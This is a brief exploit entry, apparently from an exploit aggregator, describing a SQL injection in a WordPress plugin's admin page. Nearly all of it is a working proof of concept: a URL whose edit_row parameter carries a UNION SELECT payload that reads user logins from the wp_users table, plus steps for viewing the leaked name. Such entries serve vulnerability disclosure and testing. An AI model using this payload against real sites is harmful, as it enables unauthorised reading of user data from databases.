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## https://sploitus.com/exploit?id=WPEX-ID:BB0806D7-21E3-4A65-910C-BF0625C338EC
As admin, open https://example.com/wp-admin/admin.php?page=wpcc_add_new&edit_row=-1+UNION+select+1,1,1,1,user_login,1,1,1,1,1,1,1,1,1,1,1+from+wp_users

Select “Text Cursor”, and the user's name will be in the input field